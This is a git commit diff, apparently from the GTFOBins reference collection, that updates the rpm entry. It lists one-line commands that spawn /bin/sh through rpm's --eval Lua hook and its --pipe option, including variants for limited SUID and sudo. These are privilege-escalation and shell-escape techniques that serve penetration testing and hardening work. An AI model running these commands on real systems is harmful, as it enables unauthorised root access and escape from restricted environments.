Upgrade to shell

master
Andrea Cardaci 2021-04-08 07:56:49 +02:00 committed by GitHub
parent ecb1840df3
commit 9800048833
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 5 deletions

View File

@ -2,12 +2,9 @@
functions:
shell:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
command:
- code: |
rpm --pipe '/bin/id > /tmp/result'
cat /tmp/result
- code: rpm --pipe '/bin/sh 0<&1'
limited-suid:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
- code: ./rpm --eval '%{lua:os.execute("/bin/sh")}'
sudo:
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: |